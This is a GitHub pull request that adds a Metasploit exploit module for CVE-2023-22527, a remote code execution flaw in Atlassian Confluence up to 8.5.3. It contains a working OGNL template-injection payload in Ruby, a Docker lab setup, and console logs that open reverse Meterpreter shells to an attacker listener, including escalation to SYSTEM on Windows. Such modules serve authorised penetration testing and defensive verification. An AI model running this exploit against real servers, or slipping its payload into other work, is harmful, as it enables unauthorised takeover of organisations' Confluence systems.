Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add exploit for CVE-2023-22527 (Confluence RCE) #18734

Merged
merged 4 commits into from Jan 25, 2024
Merged
Show file tree
Hide file tree
Changes from 2 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
@@ -0,0 +1,141 @@
## Vulnerable Application
This module exploits an SSTI injection in Atlassian Confluence servers. A specially crafted HTTP request uses the
injection to evaluate an OGNL expression resulting in OS command execution.

Confluence versions up to and including 8.5.3 are vulnerable to this SSTI injection flaw. For more complete information
on affected and fixed versions, see [CONFSERVER-93833][1].

### Setup

1. Create a new `docker-compose.yml` file with the contents below.
2. Startup the container using `docker-compose up`
3. Navigate to the HTTP service running on port 8090
4. Acquire and provide an evaluation license
5. When prompted, setup a standalone / non-clustered system
6. Configure the database settings
1. Select "By connection string", then Database URL: `jdbc:postgresql://postgresql:5432/confdb`
2. Username and password are both `confdb`
7. Setup takes a few minutes
8. When prompted, select "Empty Site"
9. Select "Manage users and groups within Confluence"
10. Create an account, it **will not** be needed for exploitation
11. Once setup has completed select "Start" and set a space name to something

#### Docker Compose File

```
version: '3'

services:
postgresql:
image: postgres:11
environment:
POSTGRES_DB: confdb
POSTGRES_USER: confdb
POSTGRES_PASSWORD: confdb
ports:
- '5432:5432'

confluence-server:
depends_on:
- postgresql
image: atlassian/confluence:8.5.3
ports:
- '8090:8090'
- '8091:8091'
```

## Verification Steps

1. Follow the steps from the Setup section to create a test instance
2. Start msfconsole
3. Run: `use exploit/multi/http/atlassian_confluence_rce_cve_2023_22527`
4. Set the `RHOSTS`, `PAYLOAD` and payload-related options
5. Run the module

## Options

## Scenarios

### Confluence 8.5.3 in [Docker]

```
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set TARGET Unix\ Command
TARGET => Unix Command
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp
PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set VERBOSE true
VERBOSE => true
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected Confluence version: 8.5.3
[*] Detected target platform: Linux
[+] The target is vulnerable. Successfully tested OGNL injection.
[*] Executing cmd/unix/python/meterpreter/reverse_tcp (Unix Command)
[*] Sending stage (24772 bytes) to 192.168.159.128
[*] Meterpreter session 8 opened (192.168.159.128:4444 -> 192.168.159.128:52920) at 2024-01-24 12:45:59 -0500

meterpreter > getuid
Server username: confluence
meterpreter > sysinfo
Computer : c38aa4f3b92e
OS : Linux 6.6.11-200.fc39.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jan 10 19:25:59 UTC 2024
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter > pwd
/var/atlassian/application-data/confluence
meterpreter >
```

### Confluence 8.5.3 on Windows Server 2019

```
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set TARGET Windows\ Command
TARGET => Windows Command
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set PAYLOAD cmd/windows/powershell/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/windows/powershell/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set VERBOSE true
VERBOSE => true
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > exploit

[*] Powershell command length: 4371
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected Confluence version: 8.5.3
[*] Detected target platform: Windows Server 2019
[+] The target is vulnerable. Successfully tested OGNL injection.
[*] Executing cmd/windows/powershell/x64/meterpreter/reverse_tcp (Windows Command)
[*] Sending stage (200774 bytes) to 192.168.159.10
[*] Meterpreter session 9 opened (192.168.159.128:4444 -> 192.168.159.10:58923) at 2024-01-24 12:47:39 -0500

meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > getsystem
...got system via technique 4 (Named Pipe Impersonation (RPCSS variant)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DC
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : MSFLAB
Logged On Users : 9
Meterpreter : x64/windows
meterpreter > pwd
C:\Program Files\Atlassian\Confluence
meterpreter >
```

[1]: https://jira.atlassian.com/browse/CONFSERVER-93833
151 changes: 151 additions & 0 deletions modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22527.rb
@@ -0,0 +1,151 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Atlassian Confluence SSTI Injection',
'Description' => %q{
This module exploits an SSTI injection in Atlassian Confluence servers. A specially crafted HTTP request uses
the injection to evaluate an OGNL expression resulting in OS command execution.
zeroSteiner marked this conversation as resolved.
Show resolved Hide resolved
},
'Author' => [
'Rahul Maini', # ProjectDiscovery analysis
'Harsh Jaiswal', # ProjectDiscovery analysis
'Spencer McIntyre'
],
'References' => [
['CVE', '2023-22527'],
['URL', 'https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-data-center-and-confluence-server-1333990257.html'],
['URL', 'https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/']
],
'DisclosureDate' => '2024-01-16', # Atlassian advisory released
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux', 'win'],
'Arch' => [ARCH_CMD],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Payload' => { 'Space' => 8191, 'DisableNops' => true }
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8090
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can the tester keep an eye out for stability when running this multiple times.

'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def get_confluence_platform
# this method gets the platform by exploiting CVE-2023-22527
return @confluence_platform if @confluence_platform

header = "X-#{Rex::Text.rand_text_alphanumeric(10..15)}"
ognl = <<~OGNL.gsub(/^\s+/, '').tr("\n", '')
@org.apache.struts2.ServletActionContext@getResponse().setHeader(
'#{header}',
(@java.lang.System@getProperty('os.name'))
)
OGNL
res = inject_ognl(ognl)
return nil unless res

res.headers[header]
end

def check
confluence_version = get_confluence_version
return CheckCode::Unknown unless confluence_version
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return CheckCode::Unknown unless confluence_version
return CheckCode::Unknown('Unable to determine the confluence version') unless confluence_version


vprint_status("Detected Confluence version: #{confluence_version}")
zeroSteiner marked this conversation as resolved.
Show resolved Hide resolved

confluence_platform = get_confluence_platform
unless confluence_platform
return CheckCode::Safe('Failed to test OGNL injection.')
zeroSteiner marked this conversation as resolved.
Show resolved Hide resolved
end

vprint_status("Detected target platform: #{confluence_platform}")
CheckCode::Vulnerable('Successfully tested OGNL injection.')
zeroSteiner marked this conversation as resolved.
Show resolved Hide resolved
end

def exploit
confluence_platform = get_confluence_platform
unless confluence_platform
fail_with(Failure::NotVulnerable, 'The target is not vulnerable.')
end

unless confluence_platform.downcase.start_with?('win') == (target['Platform'] == 'win')
fail_with(Failure::NoTarget, "The target platform '#{confluence_platform}' is incompatible with '#{target.name}'")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I hastily ran the module without switching to the appropriate target and appreciated the detail in this error message.

[-] Exploit aborted due to failure: no-target: The target platform 'Windows Server 2022' is incompatible with 'Unix Command'

end

print_status("Executing #{payload_instance.refname} (#{target.name})")
execute_command(payload.encoded)
end

def execute_command(cmd, _opts = {})
param = rand_text_alphanumeric(6..10)
# reference a parameter in the OGNL to work around the 200 character length limit
ognl = <<~OGNL.gsub(/^\s+/, '').tr("\n", '')
(new freemarker.template.utility.Execute()).exec(
{@org.apache.struts2.ServletActionContext@getRequest().getParameter('#{param}')}
)
OGNL

if target['Platform'] == 'win'
vars_post = { param => "cmd.exe /c \"#{cmd}\"" }
else
vars_post = { param => "sh -c $@|sh . echo #{cmd}" }
zeroSteiner marked this conversation as resolved.
Show resolved Hide resolved
end

inject_ognl(ognl, 'vars_post' => vars_post)
end

def inject_ognl(ognl, opts = {})
opts = opts.clone
param = rand_text_alphanumeric(6..10)
final_opts = {
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'template/aui/text-inline.vm'),
'vars_post' => {
# label and param are both limited to a 200 character length by default
'label' => "\\u0027+#request.get(\\u0027.KEY_velocity.struts2.context\\u0027).internalGet(\\u0027ognl\\u0027).findValue(#parameters.#{param},{})+\\u0027",
param => ognl
}.merge(opts.delete('vars_post') || {})
}.merge(opts)

send_request_cgi(final_opts)
end
end